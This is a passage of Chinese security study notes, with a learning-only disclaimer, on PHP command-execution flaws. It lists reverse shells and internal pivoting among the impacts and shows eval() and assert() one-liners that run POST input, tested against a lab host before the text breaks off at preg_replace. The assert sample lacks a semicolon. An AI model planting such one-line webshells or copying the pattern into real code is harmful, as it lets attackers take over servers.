郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。
命令执行
1 命令执行介绍
产生原因:
- 应用未对用户输入做严格的检查过滤,导致用户输入的参数被当成命令来执行。
危害:
- 继承 WEB 服务程序的权限去执行系统命令或读写文件
- 反弹 shell,获得目标服务器的权限
- 进一步内网渗透
2 命令执行函数
2.1 远程命令执行函数
-
PHP 中的执行命令函数:
-
// eval() 函数传入的参数必须为 PHP 代码,并以分号结尾。 eval() <?php @eval($ret=$_POST["cmd"]); echo $ret; ?> 执行语句 http://exec.lab.com/exec/exec01.php [post data] cmd=phpinfo();
-
// assert() 函数是直接将传入的参数当成 PHP 代码执行,不需要以分号结尾。 assert() <?php $ret=@assert($_POST["cmd"]) echo $ret; ?> 执行语句 http://exec.lab.com/exec/exec02.php [post data] cmd=phpinfo()
-
preg_replace(reg, 'repl', 'string') <?php preg_replace("/string/e", $_POST[
-